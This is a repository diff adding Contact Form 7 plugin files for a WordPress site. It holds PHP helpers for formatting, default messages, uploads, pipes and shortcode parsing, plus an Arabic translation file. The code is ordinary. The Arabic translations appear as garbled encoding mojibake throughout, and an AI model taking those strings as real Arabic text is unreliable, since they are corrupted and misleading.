+	$pee = preg_replace( '!(</?' . $allblocks . '[^>]*>)\s*</p>!', "$1", $pee );
+	if ( $br ) {
+		/* wpcf7: add textarea */
+		$pee = preg_replace_callback( '/<(script|style|textarea).*?<\/\\1>/s', create_function( '$matches', 'return str_replace("\n", "<WPPreserveNewline />", $matches[0]);' ), $pee );
+		$pee = preg_replace( '|(?<!<br />)\s*\n|', "<br />\n", $pee ); // optionally make line breaks
+		$pee = str_replace( '<WPPreserveNewline />', "\n", $pee );
+	}
+	$pee = preg_replace( '!(</?' . $allblocks . '[^>]*>)\s*<br />!', "$1", $pee );
+	$pee = preg_replace( '!<br />(\s*</?(?:p|li|div|dl|dd|dt|th|pre|td|ul|ol)[^>]*>)!', '$1', $pee );
+	if ( strpos( $pee, '<pre' ) !== false )
+		$pee = preg_replace_callback( '!(<pre[^>]*>)(.*?)</pre>!is', 'clean_pre', $pee );
+	$pee = preg_replace( "|\n</p>$|", '</p>', $pee );
+	/* wpcf7: replaced to wpcf7_get_shortcode_regex ( -> comment out) */
+	// don't auto-p wrap shortcodes that stand alone
+	// $pee = preg_replace( '/<p>\s*?(' . wpcf7_get_shortcode_regex() . ')\s*<\/p>/s', '$1', $pee );
+
+	return $pee;
+}
+
+function wpcf7_strip_quote( $text ) {
+	$text = trim( $text );
+	if ( preg_match( '/^"(.*)"$/', $text, $matches ) )
+		$text = $matches[1];
+	elseif ( preg_match( "/^'(.*)'$/", $text, $matches ) )
+		$text = $matches[1];
+	return $text;
+}
+
+function wpcf7_strip_quote_deep( $arr ) {
+	if ( is_string( $arr ) )
+		return wpcf7_strip_quote( $arr );
+
+	if ( is_array( $arr ) ) {
+		$result = array();
+		foreach ( $arr as $key => $text ) {
+			$result[$key] = wpcf7_strip_quote( $text );
+		}
+		return $result;
+	}
+}
+
+function wpcf7_canonicalize( $text ) {
+	if ( function_exists( 'mb_convert_kana' ) && 'UTF-8' == get_option( 'blog_charset' ) )
+		$text = mb_convert_kana( $text, 'asKV', 'UTF-8' );
+
+	$text = strtolower( $text );
+	$text = trim( $text );
+	return $text;
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/includes/functions.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/includes/functions.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/includes/functions.php	(revision 44)
@@ -0,0 +1,175 @@
+<?php
+
+function wpcf7_default_message( $status ) {
+	switch ( $status ) {
+		case 'mail_sent_ok':
+			return __( 'Your message was sent successfully. Thanks.', 'wpcf7' );
+		case 'mail_sent_ng':
+			return __( 'Failed to send your message. Please try later or contact administrator by other way.', 'wpcf7' );
+		case 'akismet_says_spam':
+			return __( 'Failed to send your message. Please try later or contact administrator by other way.', 'wpcf7' );
+		case 'validation_error':
+			return __( 'Validation errors occurred. Please confirm the fields and submit it again.', 'wpcf7' );
+		case 'accept_terms':
+			return __( 'Please accept the terms to proceed.', 'wpcf7' );
+		case 'invalid_email':
+			return __( 'Email address seems invalid.', 'wpcf7' );
+		case 'invalid_required':
+			return __( 'Please fill the required field.', 'wpcf7' );
+		case 'captcha_not_match':
+			return __( 'Your entered code is incorrect.', 'wpcf7' );
+		case 'quiz_answer_not_correct':
+			return __( 'Your answer is not correct.', 'wpcf7' );
+		case 'upload_failed':
+			return __( 'Failed to upload file.', 'wpcf7' );
+		case 'upload_file_type_invalid':
+			return __( 'This file type is not allowed.', 'wpcf7' );
+		case 'upload_file_too_large':
+			return __( 'This file is too large.', 'wpcf7' );
+		case 'upload_failed_php_error':
+			return __( 'Failed to upload file. Error occurred.', 'wpcf7' );
+	}
+}
+
+function wpcf7_default_form_template() {
+	$template .= '<p>' . __( 'Your Name', 'wpcf7' ) . ' ' . __( '(required)', 'wpcf7' ) . '<br />' . "\n";
+	$template .= '    [text* your-name] </p>' . "\n\n";
+	$template .= '<p>' . __( 'Your Email', 'wpcf7' ) . ' ' . __( '(required)', 'wpcf7' ) . '<br />' . "\n";
+	$template .= '    [email* your-email] </p>' . "\n\n";
+	$template .= '<p>' . __( 'Subject', 'wpcf7' ) . '<br />' . "\n";
+	$template .= '    [text your-subject] </p>' . "\n\n";
+	$template .= '<p>' . __( 'Your Message', 'wpcf7' ) . '<br />' . "\n";
+	$template .= '    [textarea your-message] </p>' . "\n\n";
+	$template .= '<p>[submit "' . __( 'Send', 'wpcf7' ) . '"]</p>';
+	return $template;
+}
+
+function wpcf7_default_mail_template() {
+	$subject = '[your-subject]';
+	$sender = '[your-name] <[your-email]>';
+	$body = '[your-message]';
+	$recipient = get_option( 'admin_email' );
+	return compact( 'subject', 'sender', 'body', 'recipient' );
+}
+
+function wpcf7_default_mail_2_template() {
+	$active = false;
+	$subject = '[your-subject]';
+	$sender = '[your-name] <[your-email]>';
+	$body = '[your-message]';
+	$recipient = '[your-email]';
+	return compact( 'active', 'subject', 'sender', 'body', 'recipient' );
+}
+
+function wpcf7_default_messages_template() {
+	$mail_sent_ok = wpcf7_default_message( 'mail_sent_ok' );
+	$mail_sent_ng = wpcf7_default_message( 'mail_sent_ng' );
+	$akismet_says_spam = wpcf7_default_message( 'akismet_says_spam' );
+	$validation_error = wpcf7_default_message( 'validation_error' );
+	$accept_terms = wpcf7_default_message( 'accept_terms' );
+	$invalid_email = wpcf7_default_message( 'invalid_email' );
+	$invalid_required = wpcf7_default_message( 'invalid_required' );
+	$quiz_answer_not_correct = wpcf7_default_message( 'quiz_answer_not_correct' );
+	$captcha_not_match = wpcf7_default_message( 'captcha_not_match' );
+	$upload_failed = wpcf7_default_message( 'upload_failed' );
+	$upload_file_type_invalid = wpcf7_default_message( 'upload_file_type_invalid' );
+	$upload_file_too_large = wpcf7_default_message( 'upload_file_too_large' );
+
+	return compact( 'mail_sent_ok', 'mail_sent_ng', 'akismet_says_spam',
+		'validation_error', 'accept_terms', 'invalid_email', 'invalid_required', 'quiz_answer_not_correct',
+		'captcha_not_match', 'upload_failed', 'upload_file_type_invalid', 'upload_file_too_large' );
+}
+
+function wpcf7_upload_dir( $type = false ) {
+	$siteurl = get_option( 'siteurl' );
+	$upload_path = trim( get_option( 'upload_path' ) );
+	if ( empty( $upload_path ) )
+		$dir = WP_CONTENT_DIR . '/uploads';
+	else
+		$dir = $upload_path;
+
+	$dir = path_join( ABSPATH, $dir );
+
+	if ( ! $url = get_option( 'upload_url_path' ) ) {
+		if ( empty( $upload_path ) || $upload_path == $dir )
+			$url = WP_CONTENT_URL . '/uploads';
+		else
+			$url = trailingslashit( $siteurl ) . $upload_path;
+	}
+
+	if ( defined( 'UPLOADS' ) ) {
+		$dir = ABSPATH . UPLOADS;
+		$url = trailingslashit( $siteurl ) . UPLOADS;
+	}
+
+	if ( 'dir' == $type )
+		return $dir;
+	if ( 'url' == $type )
+		return $url;
+	return array( 'dir' => $dir, 'url' => $url );
+}
+
+function wpcf7_captcha_tmp_dir() {
+	if ( defined( 'WPCF7_CAPTCHA_TMP_DIR' ) )
+		return WPCF7_CAPTCHA_TMP_DIR;
+	else
+		return wpcf7_upload_dir( 'dir' ) . '/wpcf7_captcha';
+}
+
+function wpcf7_captcha_tmp_url() {
+	if ( defined( 'WPCF7_CAPTCHA_TMP_URL' ) )
+		return WPCF7_CAPTCHA_TMP_URL;
+	else
+		return wpcf7_upload_dir( 'url' ) . '/wpcf7_captcha';
+}
+
+function wpcf7_upload_tmp_dir() {
+	if ( defined( 'WPCF7_UPLOADS_TMP_DIR' ) )
+		return WPCF7_UPLOADS_TMP_DIR;
+	else
+		return wpcf7_upload_dir( 'dir' ) . '/wpcf7_uploads';
+}
+
+function wpcf7_json( $items ) {
+	if ( is_array( $items ) ) {
+		if ( empty( $items ) )
+			return 'null';
+
+		$keys = array_keys( $items );
+		$all_int = true;
+		foreach ( $keys as $key ) {
+			if ( ! is_int( $key ) ) {
+				$all_int = false;
+				break;
+			}
+		}
+
+		if ( $all_int ) {
+			$children = array();
+			foreach ( $items as $item ) {
+				$children[] = wpcf7_json( $item );
+			}
+			return '[' . join( ', ', $children ) . ']';
+		} else { // Object
+			$children = array();
+			foreach ( $items as $key => $item ) {
+				$key = esc_js( (string) $key );
+				if ( preg_match( '/[^a-zA-Z]/', $key ) )
+					$key = '"' . $key . '"';
+
+				$children[] = $key . ': ' . wpcf7_json( $item );
+			}
+			return '{ ' . join( ', ', $children ) . ' }';
+		}
+	} elseif ( is_numeric( $items ) ) {
+		return (string) $items;
+	} elseif ( is_bool( $items ) ) {
+		return $items ? '1' : '0';
+	} elseif ( is_null( $items ) ) {
+		return 'null';
+	} else {
+		return '"' . esc_js( (string) $items ) . '"';
+	}
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/includes/pipe.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/includes/pipe.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/includes/pipe.php	(revision 44)
@@ -0,0 +1,67 @@
+<?php
+
+class WPCF7_Pipe {
+
+	var $before = '';
+	var $after = '';
+
+	function WPCF7_Pipe( $text ) {
+		$pipe_pos = strpos( $text, '|' );
+		if ( false === $pipe_pos ) {
+			$this->before = $this->after = $text;
+		} else {
+			$this->before = substr( $text, 0, $pipe_pos );
+			$this->after = substr( $text, $pipe_pos + 1 );
+		}
+	}
+}
+
+class WPCF7_Pipes {
+
+	var $pipes = array();
+
+	function WPCF7_Pipes( $texts ) {
+		if ( ! is_array( $texts ) )
+			return;
+
+		foreach ( $texts as $text ) {
+			$this->add_pipe( $text );
+		}
+	}
+
+	function add_pipe( $text ) {
+		$pipe = new WPCF7_Pipe( $text );
+		$this->pipes[] = $pipe;
+	}
+
+	function do_pipe( $before ) {
+		foreach ( $this->pipes as $pipe ) {
+			if ( $pipe->before == $before )
+				return $pipe->after;
+		}
+		return $before;
+	}
+
+	function collect_befores() {
+		$befores = array();
+
+		foreach ( $this->pipes as $pipe ) {
+			$befores[] = $pipe->before;
+		}
+
+		return $befores;
+	}
+
+	function zero() {
+		return empty( $this->pipes );
+	}
+
+	function random_pipe() {
+		if ( $this->zero() )
+			return null;
+
+		return $this->pipes[array_rand( $this->pipes )];
+	}
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/includes/shortcodes.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/includes/shortcodes.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/includes/shortcodes.php	(revision 44)
@@ -0,0 +1,146 @@
+<?php
+
+class WPCF7_ShortcodeManager {
+
+	var $shortcode_tags = array();
+
+	// Taggs scanned at the last time of do_shortcode()
+	var $scanned_tags = null;
+
+	// Executing shortcodes (true) or just scanning (false)
+	var $exec = true;
+
+	function add_shortcode( $tag, $func, $has_name = false ) {
+		if ( is_callable( $func ) )
+			$this->shortcode_tags[$tag] = array(
+				'function' => $func,
+				'has_name' => (boolean) $has_name );
+	}
+
+	function remove_shortcode( $tag ) {
+		unset( $this->shortcode_tags[$tag] );
+	}
+
+	function do_shortcode( $content, $exec = true ) {
+		$this->exec = (bool) $exec;
+		$this->scanned_tags = array();
+
+		if ( empty( $this->shortcode_tags ) || ! is_array( $this->shortcode_tags) )
+			return $content;
+
+		$pattern = $this->get_shortcode_regex();
+		return preg_replace_callback( '/' . $pattern . '/s',
+			array(&$this, 'do_shortcode_tag'), $content );
+	}
+
+	function scan_shortcode( $content ) {
+		$this->do_shortcode( $content, false );
+		return $this->scanned_tags;
+	}
+
+	function get_shortcode_regex() {
+		$tagnames = array_keys( $this->shortcode_tags );
+		$tagregexp = join( '|', array_map( 'preg_quote', $tagnames ) );
+
+		return '(\[?)\[(' . $tagregexp . ')(?:\s(.*?))?(?:\s(\/))?\](?:(.+?)\[\/\2\])?(\]?)';
+	}
+
+	function do_shortcode_tag( $m ) {
+		// allow [[foo]] syntax for escaping a tag
+		if ( $m[1] == '[' && $m[6] == ']' ) {
+			return substr( $m[0], 1, -1 );
+		}
+
+		$tag = $m[2];
+		$attr = $this->shortcode_parse_atts( $m[3] );
+
+		$scanned_tag = array();
+		$scanned_tag['type'] = $tag;
+
+		if ( is_array( $attr ) ) {
+			if ( is_array( $attr['options'] ) && ! empty( $attr['options'] ) ) {
+				if ( $this->shortcode_tags[$tag]['has_name'] )
+					$scanned_tag['name'] = array_shift( $attr['options'] );
+				$scanned_tag['options'] = $attr['options'];
+			}
+			$scanned_tag['raw_values'] = (array) $attr['values'];
+
+			if ( WPCF7_USE_PIPE ) {
+				$pipes = new WPCF7_Pipes( $scanned_tag['raw_values'] );
+				$scanned_tag['values'] = $pipes->collect_befores();
+				$scanned_tag['pipes'] = $pipes;
+			} else {
+				$scanned_tag['values'] = $scanned_tag['raw_values'];
+			}
+
+		} else {
+			$scanned_tag['attr'] = $attr;
+		}
+
+		$content = trim( $m[5] );
+		$content = preg_replace( "/<br\s*\/?>$/m", '', $content );
+		$scanned_tag['content'] = $content;
+
+		$this->scanned_tags[] = $scanned_tag;
+
+		$func = $this->shortcode_tags[$tag]['function'];
+
+		if ( $this->exec ) {
+			$scanned_tag = apply_filters( 'wpcf7_form_tag', $scanned_tag );
+			return $m[1] . call_user_func( $func, $scanned_tag ) . $m[6];
+		} else {
+			return $m[0];
+		}
+	}
+
+	function shortcode_parse_atts( $text ) {
+		$atts = array();
+		$text = preg_replace( "/[\x{00a0}\x{200b}]+/u", " ", $text );
+		$text = stripcslashes( trim( $text ) );
+
+		$pattern = '%^([-0-9a-zA-Z:.#_/|\s]*?)((?:\s*"[^"]*"|\s*\'[^\']*\')*)$%';
+
+		if ( preg_match( $pattern, $text, $match ) ) {
+			if ( ! empty( $match[1] ) ) {
+				$atts['options'] = preg_split( '/[\s]+/', trim( $match[1] ) );
+			}
+			if ( ! empty( $match[2] ) ) {
+				preg_match_all( '/"[^"]*"|\'[^\']*\'/', $match[2], $matched_values );
+				$atts['values'] = wpcf7_strip_quote_deep( $matched_values[0] );
+			}
+		} else {
+			$atts = $text;
+		}
+
+		return $atts;
+	}
+
+}
+
+$wpcf7_shortcode_manager = new WPCF7_ShortcodeManager();
+
+function wpcf7_add_shortcode( $tag, $func, $has_name = false ) {
+	global $wpcf7_shortcode_manager;
+
+	return $wpcf7_shortcode_manager->add_shortcode( $tag, $func, $has_name );
+}
+
+function wpcf7_remove_shortcode( $tag ) {
+	global $wpcf7_shortcode_manager;
+
+	return $wpcf7_shortcode_manager->remove_shortcode( $tag );
+}
+
+function wpcf7_do_shortcode( $content ) {
+	global $wpcf7_shortcode_manager;
+
+	return $wpcf7_shortcode_manager->do_shortcode( $content );
+}
+
+function wpcf7_get_shortcode_regex() {
+	global $wpcf7_shortcode_manager;
+
+	return $wpcf7_shortcode_manager->get_shortcode_regex();
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-ar.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-ar.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/contact-form-7/languages/wpcf7-ar.po	(revision 44)
@@ -0,0 +1,427 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: \n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2008-11-08 23:29+0900\n"
+"PO-Revision-Date: \n"
+"Last-Translator: Takayuki Miyoshi <takayukister@gmail.com>\n"
+"Language-Team: www.adsl2u.com <webmaster@adsl2u.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Arabic\n"
+"X-Poedit-Country: SAUDI ARABIA\n"
+"X-Poedit-SourceCharset: utf-8\n"
+
+#: contact-form-7/wp-contact-form-7.php:323
+msgid "Contact form"
+msgstr "ÙÙ
+ÙØ°Ø¬ ÙÙØ§ØªØµØ§Ù"
+
+#: contact-form-7/wp-contact-form-7.php:456
+#: contact-form-7/includes/admin-panel.php:5
+msgid "Contact Form 7"
+msgstr "ÙÙ
+ÙØ°Ø¬ ÙÙØ§ØªØµØ§Ù 7"
+
+#: contact-form-7/wp-contact-form-7.php:494
+msgid "optional"
+msgstr "Ø§Ø®ØªÙØ§Ø±Ù"
+
+#: contact-form-7/wp-contact-form-7.php:495
+msgid "Generate Tag"
+msgstr "Ø®ÙØ§Ø±Ø§Øª Ø§ÙÙÙ
+ÙØ°Ø¬"
+
+#: contact-form-7/wp-contact-form-7.php:496
+msgid "Text field"
+msgstr "Ø®Ø§ÙØ© ÙØµ"
+
+#: contact-form-7/wp-contact-form-7.php:497
+msgid "Email field"
+msgstr "Ø®Ø§ÙØ© Ø§ÙØšØ±ÙØ¯ Ø§ÙØ£ÙÙØªØ±ÙÙÙ"
+
+#: contact-form-7/wp-contact-form-7.php:498
+msgid "Text area"
+msgstr "Ù
+ÙØ·ÙØ© Ø§ÙÙØªØ§ØšÙ"
+
+#: contact-form-7/wp-contact-form-7.php:499
+msgid "Drop-down menu"
+msgstr "ÙØ§ØŠÙ
+Ø© Ù
+ÙØ³Ø¯ÙØ©"
+
+#: contact-form-7/wp-contact-form-7.php:500
+msgid "Checkboxes"
+msgstr "ØµÙØ§Ø¯ÙÙ Ø§ÙØ§Ø®ØªÙØ§Ø±"
+
+#: contact-form-7/wp-contact-form-7.php:501
+msgid "Radio buttons"
+msgstr "Ø£Ø²Ø±Ø§Ø± Ø§ÙØ§Ø®ØªÙØ§Ø±(Radio)"
+
+#: contact-form-7/wp-contact-form-7.php:502
+msgid "Acceptance"
+msgstr "Ø§ÙÙØšÙÙ"
+
+#: contact-form-7/wp-contact-form-7.php:503
+msgid "Make this checkbox checked by default?"
+msgstr "Ø¬Ø¹Ù ØµÙØ¯ÙÙ Ø§ÙØ®ÙØ§Ø±Ø§Øª ØµÙØ§Ø¯ÙÙ Ù
+Ø­Ø¯Ø¯Ø© ØªÙÙØ§ØŠÙØ§ÙØ"
+
+#: contact-form-7/wp-contact-form-7.php:504
+msgid "Make this checkbox work inversely?"
+msgstr "Ø¬Ø¹Ù ØµÙØ¯ÙÙ Ø§ÙØ®ÙØ§Ø±Ø§Øª ÙØ¹Ù
+Ù Ø¹ÙØ³ÙØ§ÙØ"
+
+#: contact-form-7/wp-contact-form-7.php:505
+msgid "* That means visitor who accepts the term unchecks it."
+msgstr "* ÙØ°Ø§ ÙØ¹ÙÙ Ø£Ù Ø§ÙØ²Ø§ØŠØ± Ø§ÙØ°Ù ÙØšÙ Ø§ÙØ§ØªÙØ§ÙÙØ© ÙÙ
+ ÙÙÙ
+ ØšØªØ­Ø¯ÙØ¯ Ø§ÙØ®ÙØ§Ø±."
+
+#: contact-form-7/wp-contact-form-7.php:506
+msgid "CAPTCHA"
+msgstr "CAPTCHA Ø§Ø®ØªØšØ§Ø± Ø§ÙÙÙØ¯"
+
+#: contact-form-7/wp-contact-form-7.php:507
+msgid "Submit button"
+msgstr "Ø²Ø± Ø§ÙØ§Ø±Ø³Ø§Ù"
+
+#: contact-form-7/wp-contact-form-7.php:508
+msgid "Name"
+msgstr "Ø§ÙØ§Ø³Ù
+"
+
+#: contact-form-7/wp-contact-form-7.php:509
+msgid "Required field?"
+msgstr "Ø·ÙØš Ø§ÙØ®Ø§ÙØ©Ø"
+
+#: contact-form-7/wp-contact-form-7.php:510
+msgid "Allow multiple selections?"
+msgstr "Ø§ÙØ³Ù
+Ø§Ø­ ØšØ§ÙØ®ÙØ§Ø±Ø§Øª Ø§ÙÙ
+ØªØ¹Ø¯Ø¯Ø©Ø"
+
+#: contact-form-7/wp-contact-form-7.php:511
+msgid "Insert a blank item as the first option?"
+msgstr "Ø¥Ø¯Ø±Ø§Ø¬ Ø¹ÙØµØ± ÙØ§Ø±Øº ÙÙ ØšØ¯Ø§ÙØ© Ø§ÙØ®ÙØ§Ø±Ø"
+
+#: contact-form-7/wp-contact-form-7.php:512
+msgid "Make checkboxes exclusive?"
+msgstr "Ø¬Ø¹Ù Ø§ÙØ®ÙØ§Ø±Ø§Øª Ø­ØµØ±ÙØ©Ø"
+
+#: contact-form-7/wp-contact-form-7.php:513
+msgid "Choices"
+msgstr "Ø§ÙØ§Ø®ØªÙØ§Ø±Ø§Øª"
+
+#: contact-form-7/wp-contact-form-7.php:514
+msgid "Label"
+msgstr "Ø¹ÙØ§Ù
+Ø©"
+
+#: contact-form-7/wp-contact-form-7.php:515
+msgid "Default value"
+msgstr "ÙÙÙ
+Ø© Ø§ÙØªØ±Ø§Ø¶ÙØ©"
+
+#: contact-form-7/wp-contact-form-7.php:516
+msgid "Akismet"
+msgstr "Akismet ÙØµØ¯ Ø§ÙØªØ¹ÙÙÙØ§Øª Ø§ÙÙ
+Ø²Ø¹Ø¬Ø©"
+
+#: contact-form-7/wp-contact-form-7.php:517
+msgid "This field requires author's name"
+msgstr "ÙØ°Ù Ø§ÙØ®Ø§ÙØ© ØªØ·ÙØš Ø§Ø³Ù
+ Ù
+ÙØ¯Ù
+ Ø§ÙØ·ÙØš"
+
+#: contact-form-7/wp-contact-form-7.php:518
+msgid "This field requires author's URL"
+msgstr "ÙØ°Ù Ø§ÙØ®Ø§ÙØ© ØªØ·ÙØš Ø§ÙÙ
+ÙÙØ¹ Ø§ÙØ®Ø§Øµ ØšÙ
+ÙØ¯Ù
+ Ø§ÙØ·ÙØš"
+
+#: contact-form-7/wp-contact-form-7.php:519
+msgid "This field requires author's email address"
+msgstr "ÙØ°Ù Ø§ÙØ®Ø§ÙØ© ØªØ·ÙØš Ø§ÙØšØ±ÙØ¯ Ø§ÙØ£ÙÙØªØ±ÙÙÙ Ù
+Ù Ù
+ÙØ¯Ù
+ Ø§ÙØ·ÙØš"
+
+#: contact-form-7/wp-contact-form-7.php:520
+msgid "Copy and paste this code into the form"
+msgstr "Ø§ÙØ³Ø® Ø§ÙÙÙØ¯ Ø«Ù
+ Ø£ÙØµÙÙ ÙÙ Ø§ÙÙÙ
+ÙØ°Ø¬"
+
+#: contact-form-7/wp-contact-form-7.php:521
+msgid "Foreground color"
+msgstr "ÙÙÙ Ø§ÙÙ
+ÙØ¯Ù
+Ø©"
+
+#: contact-form-7/wp-contact-form-7.php:522
+msgid "Background color"
+msgstr "ÙÙÙ Ø§ÙØ®ÙÙÙØ©"
+
+#: contact-form-7/wp-contact-form-7.php:523
+msgid "Image size"
+msgstr "Ø­Ø¬Ù
+ Ø§ÙØµÙØ±Ø©"
+
+#: contact-form-7/wp-contact-form-7.php:524
+msgid "Small"
+msgstr "ØµØºÙØ±"
+
+#: contact-form-7/wp-contact-form-7.php:525
+msgid "Medium"
+msgstr "ÙØ³Ø·"
+
+#: contact-form-7/wp-contact-form-7.php:526
+msgid "Large"
+msgstr "ÙØšÙØ±"
+
+#: contact-form-7/wp-contact-form-7.php:527
+msgid "Image settings"
+msgstr "Ø§Ø¹Ø¯Ø§Ø¯Ø§Øª Ø§ÙØµÙØ±Ø©"
+
+#: contact-form-7/wp-contact-form-7.php:528
+msgid "Input field settings"
+msgstr "Ø®ÙØ§Ø±Ø§Øª Ø§ÙØ¥Ø¯Ø®Ø§Ù ÙÙ Ø§ÙØ®Ø§ÙØ©"
+
+#: contact-form-7/wp-contact-form-7.php:529
+msgid "For image"
+msgstr "ÙÙØµÙØ±Ø©"
+
+#: contact-form-7/wp-contact-form-7.php:530
+msgid "For input field"
+msgstr "ÙÙØ¥Ø¯Ø®Ø§ÙØ§Øª ÙÙ Ø§ÙØ®Ø§ÙØ©"
+
+#: contact-form-7/wp-contact-form-7.php:531
+msgid "* One choice per line."
+msgstr "* Ø®ÙØ§Ø± ÙÙ ÙÙ Ø³Ø·Ø±."
+
+#: contact-form-7/wp-contact-form-7.php:532
+msgid "Show"
+msgstr "Ø§ØžÙØ§Ø±"
+
+#: contact-form-7/wp-contact-form-7.php:533
+msgid "Hide"
+msgstr "Ø§Ø®ÙØ§Ø¡"
+
+#: contact-form-7/wp-contact-form-7.php:559
+msgid "Contact form created."
+msgstr "ØµÙØ¹ ÙÙ
+ÙØ°Ø¬ Ø§ØªØµØ§Ù."
+
+#: contact-form-7/wp-contact-form-7.php:562
+msgid "Contact form saved."
+msgstr "Ø­ÙØž ÙÙ
+ÙØ°Ø¬ Ø§ØªØµØ§Ù."
+
+#: contact-form-7/wp-contact-form-7.php:565
+msgid "Contact form deleted."
+msgstr "Ø­Ø°Ù ÙÙ
+ÙØ°Ø¬ Ø§ØªØµØ§Ù."
+
+#: contact-form-7/wp-contact-form-7.php:576
+msgid "Untitled"
+msgstr "ØšØ¯ÙÙ Ø¹ÙÙØ§Ù"
+
+#: contact-form-7/wp-contact-form-7.php:603
+msgid "Your Name"
+msgstr "Ø§Ø³Ù
+Ù"
+
+#: contact-form-7/wp-contact-form-7.php:603
+#: contact-form-7/wp-contact-form-7.php:605
+msgid "(required)"
+msgstr "Ù
+Ø·ÙÙØš"
+
+#: contact-form-7/wp-contact-form-7.php:605
+msgid "Your Email"
+msgstr "ØšØ±ÙØ¯Ù"
+
+#: contact-form-7/wp-contact-form-7.php:607
+msgid "Subject"
+msgstr "Ø§ÙÙ
+ÙØ¶ÙØ¹"
+
+#: contact-form-7/wp-contact-form-7.php:609
+msgid "Your Message"
+msgstr "Ø±Ø³Ø§ÙØªÙ"
+
+#: contact-form-7/wp-contact-form-7.php:611
+#: contact-form-7/wp-contact-form-7.php:1158
+msgid "Send"
+msgstr "Ø¥Ø±Ø³Ø§Ù"
+
+#: contact-form-7/wp-contact-form-7.php:659
+msgid "Your message was sent successfully. Thanks."
+msgstr "ÙÙØ¯ ØªÙ
+ Ø¥Ø±Ø³Ø§Ù Ø±Ø³Ø§ÙØªÙ , ØŽÙØ±Ø§Ù ÙÙ."
+
+#: contact-form-7/wp-contact-form-7.php:661
+#: contact-form-7/wp-contact-form-7.php:663
+msgid "Failed to send your message. Please try later or contact administrator by other way."
+msgstr "ÙØŽÙ ÙÙ Ø¥Ø±Ø³Ø§Ù Ø±Ø³Ø§ÙØªÙ , Ø±Ø¬Ø§Ø¡Ù Ø­Ø§ÙÙ ÙØ§Ø­ÙØ§Ù Ø£Ù ÙÙ
+ ØšØ§ÙØ§ØªØµØ§Ù ØšÙ
+Ø³Ø€ÙÙ Ø§ÙÙ
+ÙÙØ¹ ØšØ·Ø±ÙÙØ© Ø£Ø®Ø±Ù"
+
+#: contact-form-7/wp-contact-form-7.php:665
+msgid "Validation errors occurred. Please confirm the fields and submit it again."
+msgstr "Ø­Ø¯Ø« Ø®Ø·Ø£ ÙÙ Ø§ÙØªØ­ÙÙ Ù
+Ù Ø§ÙØšÙØ§ÙØ§Øª Ø Ø±Ø¬Ø§Ø¡Ø§Ù ÙÙ
+ ØšØ¥Ø¹Ø§Ø¯Ø© Ù
+ÙØ¡ Ø§ÙØ®Ø§ÙØ§Øª ÙÙ
+Ù Ø«Ù
+ Ø¥Ø¹Ø§Ø¯Ø© Ø§ÙØ¥Ø±Ø³Ø§Ù."
+
+#: contact-form-7/wp-contact-form-7.php:667
+msgid "Please accept the terms to proceed."
+msgstr "Ø±Ø¬Ø§Ø¡Ù ÙÙ
+ ØšØ§ÙÙ
+ÙØ§ÙÙÙ Ø¹ÙÙ Ø§ÙØŽØ±ÙØ· Ø­ØªÙ ØªØ³ØªÙ
+Ø±."
+
+#: contact-form-7/wp-contact-form-7.php:669
+msgid "Email address seems invalid."
+msgstr "ÙØšØ¯Ù Ø£Ù Ø§ÙØšØ±ÙØ¯ Ø§ÙØ£ÙÙØªØ±ÙÙÙ Ø®Ø§Ø·ØŠ."
+
+#: contact-form-7/wp-contact-form-7.php:671
+msgid "Please fill the required field."
+msgstr "Ø±Ø¬Ø§ÙØ¡Ù ÙÙ
+ ØšØªØ¹ØšØŠØ© Ø¬Ù
+ÙØ¹ Ø§ÙØ®Ø§ÙØ§Øª Ø§ÙÙ
+Ø·ÙÙØšØ©."
+
+#: contact-form-7/wp-contact-form-7.php:673
+msgid "Your entered code is incorrect."
+msgstr "Ø§ÙÙÙØ¯ Ø§ÙØ°Ù Ø£Ø¯Ø®ÙØªÙ ØºÙØ± ØµØ­ÙØ­."
+
+#: contact-form-7/includes/admin-panel.php:16
+msgid "Add new"
+msgstr "Ø£Ø¶Ù Ø¬Ø¯ÙØ¯"
+
+#: contact-form-7/includes/admin-panel.php:32
+msgid "Copy and paste this code into your post content."
+msgstr "Ø§ÙØ³Ø® Ø§ÙÙÙØ¯ Ø«Ù
+ Ø£ÙØµÙÙ Ø¯Ø§Ø®Ù Ø§ÙÙ
+Ø­ØªÙÙ Ø§ÙØ°Ù ØªØ±ÙØ¯Ù."
+
+#: contact-form-7/includes/admin-panel.php:38
+msgid "Form"
+msgstr "ÙÙ
+ÙØ°Ø¬"
+
+#: contact-form-7/includes/admin-panel.php:42
+msgid "Mail"
+msgstr "ØšØ±ÙØ¯"
+
+#: contact-form-7/includes/admin-panel.php:44
+#: contact-form-7/includes/admin-panel.php:67
+msgid "To:"
+msgstr "Ø¥ÙÙ:"
+
+#: contact-form-7/includes/admin-panel.php:48
+#: contact-form-7/includes/admin-panel.php:71
+msgid "From:"
+msgstr "Ù
+Ù:"
+
+#: contact-form-7/includes/admin-panel.php:52
+#: contact-form-7/includes/admin-panel.php:75
+msgid "Subject:"
+msgstr "Ø§ÙÙ
+ÙØ¶ÙØ¹:"
+
+#: contact-form-7/includes/admin-panel.php:56
+#: contact-form-7/includes/admin-panel.php:79
+msgid "Message body:"
+msgstr "Ù
+Ø­ØªÙÙ Ø§ÙØ±Ø³Ø§ÙØ©:"
+
+#: contact-form-7/includes/admin-panel.php:61
+msgid "Mail (2)"
